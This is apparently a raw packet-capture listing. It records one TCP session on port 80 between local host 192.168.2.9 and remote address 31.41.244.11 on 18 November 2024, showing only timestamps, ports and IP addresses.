Nov 18, 2024 15:18:13.552926064 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.552938938 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.552963018 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.593368053 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.593384027 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.593398094 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.593447924 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.593461990 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.593475103 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.593507051 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.593676090 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.593688965 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.593702078 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.593713045 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.593719959 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.593728065 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.593740940 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.593754053 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.593754053 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.593781948 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.593799114 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.593940973 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.593961000 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.593985081 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.593986988 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.594000101 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.594007015 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.594016075 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.594028950 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.594043016 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.594058990 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.594237089 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.594250917 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.594279051 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.594293118 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.594393015 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.594407082 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.594420910 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.594434023 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.594490051 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.594490051 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.594676018 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.594688892 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.594703913 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.594715118 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.594727993 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.594754934 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.594901085 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.594913006 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.594926119 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.594953060 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.594971895 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.595004082 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.595016956 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.595030069 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.595041990 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.595060110 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.595074892 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.595268965 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.595293999 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.595308065 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.595331907 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.595331907 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.595351934 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.595597982 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.595611095 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.595649004 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.658240080 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.658257008 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.658269882 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.658349037 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.658361912 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.658373117 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.658430099 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.658435106 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.658457041 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.658474922 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.658489943 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.658489943 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.658515930 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.658531904 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.669152021 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.669169903 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.669182062 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.669219017 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.669222116 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.669235945 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.669250011 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.669265032 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.669270992 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.669270992 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.669291019 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.669297934 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.669305086 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.669327974 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.669346094 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.669590950 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.669604063 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.669617891 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.669637918 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.669661999 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.669672966 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.669687033 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.669698954 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.669708967 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.669714928 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.669730902 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.669732094 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.669756889 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.669783115 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.670144081 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.670156956 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.670169115 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.670187950 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.670212984 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.670855999 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.670907974 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.671119928 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.671160936 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.710443020 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.710470915 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.710484028 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.710510015 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.710508108 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.710524082 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.710562944 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.710562944 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.710602999 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.710719109 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.710731983 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.710743904 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.710771084 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.710788965 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.710798979 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.710803032 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.710815907 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.710830927 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.710855007 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.711036921 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.711085081 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.711098909 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.711112022 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.711123943 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.711208105 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.711208105 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.711278915 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.711292028 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.711303949 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.711324930 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.711348057 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.711468935 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.711483002 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.711519003 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.711548090 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.711604118 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.711616993 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.711648941 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.711666107 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.711736917 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.711788893 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.711823940 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.711843014 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.711854935 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.711868048 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.711877108 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.711879969 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.711894989 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.711911917 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.711931944 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.712172985 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.712219954 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.712268114 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.712281942 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.712313890 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.712317944 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.712332010 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.712335110 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.712353945 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.712369919 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.712377071 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.712392092 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.712404966 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.712419987 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.712435961 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.712635040 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.712683916 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.712846041 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.712896109 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.777229071 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.777261972 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.777277946 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.777292967 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.777307034 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.777319908 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.777333021 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.777349949 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.777355909 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.777404070 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.777422905 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.789870977 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.789885044 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.789896965 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.789920092 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.789932013 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.789944887 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.789958954 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.789959908 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.790015936 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.790020943 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.790061951 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.790102959 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.790116072 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.790127993 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.790141106 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.790146112 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.790155888 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.790165901 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.790170908 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.790204048 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.790220976 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.790388107 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.790400028 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.790412903 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.790445089 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.790472031 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.790473938 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.790484905 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.790512085 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.790535927 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.827707052 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.827734947 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.827747107 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.827768087 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.827781916 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.827794075 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.827809095 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.827825069 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.827847004 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.827888012 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.827897072 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.827902079 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.827933073 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.827976942 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.828115940 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.828126907 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.828139067 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.828174114 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.828186989 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.828223944 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.828252077 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.829312086 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.829370022 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.829377890 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.829384089 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.829416037 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.829432964 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.829446077 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.829459906 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.829474926 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.829474926 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.829504967 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.829531908 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.829564095 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.829576015 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.829587936 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.829601049 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.829603910 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.829613924 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.829623938 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.829627991 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.829639912 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.829642057 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.829672098 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.829694033 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.829747915 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.829796076 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.829814911 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.829828978 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.829857111 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.829869032 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.829883099 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.829895973 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.829909086 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.829921961 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.829929113 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.829956055 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.829993010 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.830005884 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.830017090 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.830041885 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.830111980 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.889377117 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.889410973 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.889525890 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.895055056 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.895068884 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.895076036 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.895108938 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.895122051 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.895136118 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.895148993 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.895162106 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.895180941 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.895201921 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.903414011 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.903429031 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.903440952 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.903512955 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.903531075 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.903786898 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.903837919 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.903877974 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.903925896 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.903985977 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.903999090 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.904012918 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.904025078 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.904036999 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.904062986 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.904088020 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.904282093 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.904294968 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.904308081 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.904339075 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.904365063 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.904371977 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.904390097 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.904411077 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.904422045 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.907527924 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.907548904 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.907562017 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.907572985 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.907586098 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.907603979 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.907613039 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.907617092 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.907627106 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:13.907633066 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:13.907655954 CET	80	49847	31.41.244.11	192.168.2.9
